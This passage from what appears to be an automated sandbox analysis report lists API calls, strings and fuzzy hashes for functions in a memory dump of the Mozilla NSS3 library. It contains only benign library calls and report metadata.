PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CFC8F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CFC8F65
PL_FinishArenaPool.NSS3(?), ref: 6CFC8FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6CFC8FFE
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6CFC9012
PL_FreeArenaPool.NSS3(?), ref: 6CFC9024
PL_FinishArenaPool.NSS3(?), ref: 6CFC902C
PORT_DestroyCheapArena.NSS3(?), ref: 6CFC903E

Strings

security, xrefs: 6CFC8EE7

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: 36191f9ca2720982e7fb877c476e3b5baa4337ad0482c708d5f1b956acdf4842
Instruction ID: efd013bab674794b2be72619bbb8af3ef71905e402d0a8ceff8f7631384e9979
Opcode Fuzzy Hash: 36191f9ca2720982e7fb877c476e3b5baa4337ad0482c708d5f1b956acdf4842
Instruction Fuzzy Hash: 095137B2B08301ABE7109A949C40FAB77E8ABC575CF45082EF99597681E772E904C763

Function 6D08CD70 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6D08CC7B), ref: 6D08CD7A

Part of subcall function 6D08CE60: PR_LoadLibraryWithFlags.NSS3(?,?,?,?,00000000,?,6CFFC1A8,?), ref: 6D08CE92

PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D08CDA5
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D08CDB8
PR_UnloadLibrary.NSS3(00000000), ref: 6D08CDDB
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D08CD8E

Part of subcall function 6CFB05C0: PR_EnterMonitor.NSS3 ref: 6CFB05D1
Part of subcall function 6CFB05C0: PR_ExitMonitor.NSS3 ref: 6CFB05EA

PR_LoadLibrary.NSS3(wship6.dll), ref: 6D08CDE8
PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6D08CDFF
PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6D08CE16
PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6D08CE29
PR_UnloadLibrary.NSS3(00000000), ref: 6D08CE48

Strings

ws2_32.dll, xrefs: 6D08CD75
getnameinfo, xrefs: 6D08CDB2, 6D08CE23
freeaddrinfo, xrefs: 6D08CD9F, 6D08CE10
wship6.dll, xrefs: 6D08CDE3
getaddrinfo, xrefs: 6D08CD88, 6D08CDF9

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: FindSymbol$Library$Load$MonitorUnload$EnterExitFlagsWith
String ID: freeaddrinfo$getaddrinfo$getnameinfo$ws2_32.dll$wship6.dll
API String ID: 601260978-871931242
Opcode ID: 90487c714c9425d2485735859ab06149eece94ed3417940dc02896ba40956cb3
Instruction ID: 86ae38c8dc313fc72788967cc8903eca0a5f915766b28b8c3d93a31ff0fa8a6d
Opcode Fuzzy Hash: 90487c714c9425d2485735859ab06149eece94ed3417940dc02896ba40956cb3
Instruction Fuzzy Hash: 1F11BBD6D1160276FF1195767D00FBF39E99B5210CF044634D809E5A43FBA2C586C6F9

Function 6D0D1C60 Relevance: 25.6, APIs: 17, Instructions: 114COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000040,?,?,?,?,?,6D0D13BC,?,?,?,6D0D1193), ref: 6D0D1C6B
PR_NewLock.NSS3(?,6D0D1193), ref: 6D0D1C7E

Part of subcall function 6D0898D0: calloc.MOZGLUE(00000001,00000084,6CFB0936,00000001,?,6CFB102C), ref: 6D0898E5

PR_NewCondVar.NSS3(00000000,?,6D0D1193), ref: 6D0D1C91

Part of subcall function 6CFABB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CFB21BC), ref: 6CFABB8C

PR_NewCondVar.NSS3(00000000,?,?,6D0D1193), ref: 6D0D1CA7

Part of subcall function 6CFABB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CFABBEB
Part of subcall function 6CFABB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CFABBFB
Part of subcall function 6CFABB80: GetLastError.KERNEL32 ref: 6CFABC03
Part of subcall function 6CFABB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CFABC19
Part of subcall function 6CFABB80: free.MOZGLUE(00000000), ref: 6CFABC22

PR_NewCondVar.NSS3(00000000,?,?,?,6D0D1193), ref: 6D0D1CBE
PR_NewCondVar.NSS3(00000000,?,?,?,?,6D0D1193), ref: 6D0D1CD4
calloc.MOZGLUE(00000001,000000F4,?,?,?,?,?,6D0D1193), ref: 6D0D1CFE
PR_Lock.NSS3(?,?,?,?,?,?,?,6D0D1193), ref: 6D0D1D1A

Part of subcall function 6D089BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CFB1A48), ref: 6D089BB3
Part of subcall function 6D089BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CFB1A48), ref: 6D089BC8

PR_Unlock.NSS3(?,?,?,?,?,?,?,?,6D0D1193), ref: 6D0D1D3D

Part of subcall function 6D06DD70: TlsGetValue.KERNEL32 ref: 6D06DD8C
Part of subcall function 6D06DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6D06DDB4

PR_SetError.NSS3(FFFFE890,00000000,?,6D0D1193), ref: 6D0D1D4E
PR_SetError.NSS3(FFFFE890,00000000,?,?,?,?,?,?,?,6D0D1193), ref: 6D0D1D64
PR_DestroyCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,6D0D1193), ref: 6D0D1D6F
PR_DestroyCondVar.NSS3(00000000,?,?,?,?,?,6D0D1193), ref: 6D0D1D7B
PR_DestroyCondVar.NSS3(?,?,?,?,?,6D0D1193), ref: 6D0D1D87
PR_DestroyCondVar.NSS3(00000000,?,?,?,6D0D1193), ref: 6D0D1D93
PR_DestroyLock.NSS3(00000000,?,?,6D0D1193), ref: 6D0D1D9F
free.MOZGLUE(00000000,?,6D0D1193), ref: 6D0D1DA8

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Cond$DestroyError$calloc$CriticalLockSection$Valuefree$CountEnterInitializeLastLeaveSpinUnlock
String ID:
API String ID: 3246495057-0
Opcode ID: b90071583ef41e2ce0c8c5009b7e46a785d9ef8880e5609dea55c12907ad503e
Instruction ID: a439d1edc61c3659d89c79a09d2a23faec8461272f31d41e5e20ae3eea9a0ea7
Opcode Fuzzy Hash: b90071583ef41e2ce0c8c5009b7e46a785d9ef8880e5609dea55c12907ad503e
Instruction Fuzzy Hash: 9C31C7F1D007019BFB219F65AC41B6BBAF4AF15648B044839E94A87741FB71E514CBA3

Function 6D025CA0 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,multiaccess:,0000000C,?,00000000,?,?,6D025EC0,00000000,?,?), ref: 6D025CBE
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,sql:,00000004,?,?,?), ref: 6D025CD7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,extern:,00000007), ref: 6D025CF0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,dbm:,00000004), ref: 6D025D09
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE,?,00000000,?,?,6D025EC0,00000000,?,?), ref: 6D025D1F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000003,?), ref: 6D025D3C
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000006,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025D51
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000003,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D025D66
PORT_Strdup_Util.NSS3(?,?,?,?), ref: 6D025D80

Strings

multiaccess:, xrefs: 6D025CB8
sql:, xrefs: 6D025CD1, 6D025D36
extern:, xrefs: 6D025CEA, 6D025D4B
NSS_DEFAULT_DB_TYPE, xrefs: 6D025D1A
dbm:, xrefs: 6D025D03, 6D025D60

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: strncmp$SecureStrdup_Util
String ID: NSS_DEFAULT_DB_TYPE$dbm:$extern:$multiaccess:$sql:
API String ID: 1171493939-3017051476
Opcode ID: 48442f62f61978908e4dabf825302bae60b5aa5676657c46b682a61e93fc60ca
Instruction ID: aa7e05e3299121e74af59de2fb40cd07d378dfd8bc13a052fbe8e35c036b5842
Opcode Fuzzy Hash: 48442f62f61978908e4dabf825302bae60b5aa5676657c46b682a61e93fc60ca
Instruction Fuzzy Hash: 34313EB8E833825BF7211A24DC4DB363BA9BF01745F000032ED65E658AEBF1D511C269

Function 6D026CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6D0F1DE0,?), ref: 6D026CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6D026D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6D026D70
PORT_Alloc_Util.NSS3(00000480), ref: 6D026D82
DER_GetInteger_Util.NSS3(?), ref: 6D026DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D026DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6D026E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6D026F19
PK11_DigestBegin.NSS3(00000000), ref: 6D026F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6D026F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6D027011
PK11_FreeSymKey.NSS3(00000000), ref: 6D027033
free.MOZGLUE(?), ref: 6D02703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6D027060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6D027087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6D0270AF

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: fcaa234fd9b75b5c7154fcde7dced02c577bf9183c5b466bec023b37e8053480
Instruction ID: 90bc643f0549a472896b93e399b10ea380451644582ef145e17b9419d6a9f2ae
Opcode Fuzzy Hash: fcaa234fd9b75b5c7154fcde7dced02c577bf9183c5b466bec023b37e8053480
Instruction Fuzzy Hash: 2AA104B190A2029BFF009B24DC85B7F32E5EB81318F948939EA19CB281E775D845C7D3

Function 6CFEAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEAF39
PR_Unlock.NSS3(?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEAF69
TlsGetValue.KERNEL32 ref: 6CFEB06B
EnterCriticalSection.KERNEL32(?), ref: 6CFEB083
PR_Unlock.NSS3(?), ref: 6CFEB0A4
TlsGetValue.KERNEL32 ref: 6CFEB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CFEB0D9
PR_Unlock.NSS3 ref: 6CFEB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFEB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFEB182

Part of subcall function 6D01FAB0: free.MOZGLUE(?,-00000001,?,?,6CFBF673,00000000,00000000), ref: 6D01FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CFEB177

Part of subcall function 6D06C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D06C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CFCAB95,00000000,?,00000000,00000000,00000000), ref: 6CFEB1C2

Part of subcall function 6D011560: TlsGetValue.KERNEL32(00000000,?,6CFE0844,?), ref: 6D01157A
Part of subcall function 6D011560: EnterCriticalSection.KERNEL32(?,?,?,6CFE0844,?), ref: 6D01158F
Part of subcall function 6D011560: PR_Unlock.NSS3(?,?,?,?,6CFE0844,?), ref: 6D0115B2

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: c32cab3ca7e14641972c04363989e78c20ad151eed8e791e691e3cea389183eb
Instruction ID: 04946cf398c1611dad564e24ff2758682f3234aa43ba877e0ec43b40e9a8354a
Opcode Fuzzy Hash: c32cab3ca7e14641972c04363989e78c20ad151eed8e791e691e3cea389183eb
Instruction Fuzzy Hash: 64A1E3B1D00206ABEF009FA4DC41BEEBBB5EF08318F154525E905A7611E772E995CBE1

Function 6D03AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03ADB1

Part of subcall function 6D01BE30: SECOID_FindOID_Util.NSS3(6CFD311B,00000000,?,6CFD311B,?), ref: 6D01BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6D03ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6D03AE08

Part of subcall function 6D01B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0F18D0,?), ref: 6D01B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6D03AE25
PL_FreeArenaPool.NSS3 ref: 6D03AE63
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6D03AE4D

Part of subcall function 6CF44C70: TlsGetValue.KERNEL32(?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44C97
Part of subcall function 6CF44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CB0
Part of subcall function 6CF44C70: PR_Unlock.NSS3(?,?,?,?,?,6CF43921,6D1214E4,6D08CC70), ref: 6CF44CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03AE93
PR_CallOnce.NSS3(6D122AA4,6D0212D0), ref: 6D03AECC
PL_FreeArenaPool.NSS3 ref: 6D03AEDE
PL_FinishArenaPool.NSS3 ref: 6D03AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6D03AEF5
PL_FinishArenaPool.NSS3 ref: 6D03AF16

Strings

security, xrefs: 6D03ADEE

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: ef45559e6ef9cd6420d139088292cc3ac7b452b8cfdf13ab532b205a96182fcf
Instruction ID: 1a516bcac0377a4fde809ba6cacc428988737e99bcabd0f9336b4de7c6f2c00f
Opcode Fuzzy Hash: ef45559e6ef9cd6420d139088292cc3ac7b452b8cfdf13ab532b205a96182fcf
Instruction Fuzzy Hash: BA4128B18082236BFF218B549C45F7E32E4BF42318F624525E95493342F735D64487E3

Function 6D0DAF70 Relevance: 22.7, APIs: 15, Instructions: 221threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6D089890: TlsGetValue.KERNEL32(?,?,?,6D0897EB), ref: 6D08989E

EnterCriticalSection.KERNEL32(?), ref: 6D0DAF88
_PR_MD_NOTIFYALL_CV.NSS3(?), ref: 6D0DAFCE
PR_SetPollableEvent.NSS3(?), ref: 6D0DAFD9
EnterCriticalSection.KERNEL32(?), ref: 6D0DAFEF
_PR_MD_NOTIFY_CV.NSS3(?), ref: 6D0DB00F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0DB02F
_PR_MD_UNLOCK.NSS3(?), ref: 6D0DB070
PR_JoinThread.NSS3(?), ref: 6D0DB07B
free.MOZGLUE(?), ref: 6D0DB084
EnterCriticalSection.KERNEL32(?), ref: 6D0DB09B
_PR_MD_UNLOCK.NSS3(?), ref: 6D0DB0C4
PR_JoinThread.NSS3(?), ref: 6D0DB0F3
free.MOZGLUE(?), ref: 6D0DB0FC
PR_JoinThread.NSS3(?), ref: 6D0DB137
free.MOZGLUE(?), ref: 6D0DB140

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 8f934913c2b1b2d58ab0357f15901fe9c2a1526c61807c764a094fcbaf5175f7
Instruction ID: 811c3bbaebef4093da0bab59b6fcb2403e0b25b386180a2c19396f8bad68458b
Opcode Fuzzy Hash: 8f934913c2b1b2d58ab0357f15901fe9c2a1526c61807c764a094fcbaf5175f7
Instruction Fuzzy Hash: D1916DB5900702DFDB40DF14D880A5ABBF1FF4931872585AAD91A9B726E732FC46CB81

Function 6D055CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6D052BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D052A28,00000060,00000001), ref: 6D052BF0
Part of subcall function 6D052BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6D052A28,00000060,00000001), ref: 6D052C07
Part of subcall function 6D052BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6D052A28,00000060,00000001), ref: 6D052C1E
Part of subcall function 6D052BE0: free.MOZGLUE(?,00000000,00000000,?,6D052A28,00000060,00000001), ref: 6D052C4A

free.MOZGLUE(?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055D0F
free.MOZGLUE(?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055D4E
free.MOZGLUE(?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055D62
free.MOZGLUE(?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055D85
free.MOZGLUE(?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055D99
free.MOZGLUE(?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D055E3E
free.MOZGLUE(?,?,?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D055E47
free.MOZGLUE(?,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000,?,6D0580C1), ref: 6D055E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6D05AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6D055E78
free.MOZGLUE(?,?,?,?,?,?,?,6D05AAD4), ref: 6D055EB9
free.MOZGLUE(?,?,?,?,?,?,?,6D05AAD4), ref: 6D055EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D055F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6D05AAD4), ref: 6D055F4B

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885145528.000000006D120000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885199103.000000006D125000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf40000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 1772e45443903304e675a5108a121e91c31f0262611bcf05e3d592690837e373
Instruction ID: 2218a1e79bd532ff977c055f5012c2c90abf125d718b86b7edcfd9b8b704db85
Opcode Fuzzy Hash: 1772e45443903304e675a5108a121e91c31f0262611bcf05e3d592690837e373
Instruction Fuzzy Hash: 3F715EB9900B019FE711CF24D989BA2B7F5BF89308F148529D86E87311E731F965CB91

Function 6CFD8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CFD8E22
EnterCriticalSection.KERNEL32(?), ref: 6CFD8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CFD8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CFD8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFD8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CFD8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CFD8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CFD8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CFD8F00
free.MOZGLUE(?), ref: 6CFD8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CFD8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CFD8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CFD8F5B
PR_Unlock.NSS3(?), ref: 6CFD8F72
PR_Unlock.NSS3(?), ref: 6CFD8F82

Memory Dump Source

Source File: 00000000.00000002.1883105385.000000006CF41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF40000, based on PE: true

Associated: 00000000.00000002.1882990499.000000006CF40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1884927474.000000006D0DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885036320.000000006D11E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885084755.000000006D11F000.00000008.00000001.01000000.00000009.sdmpDownload File
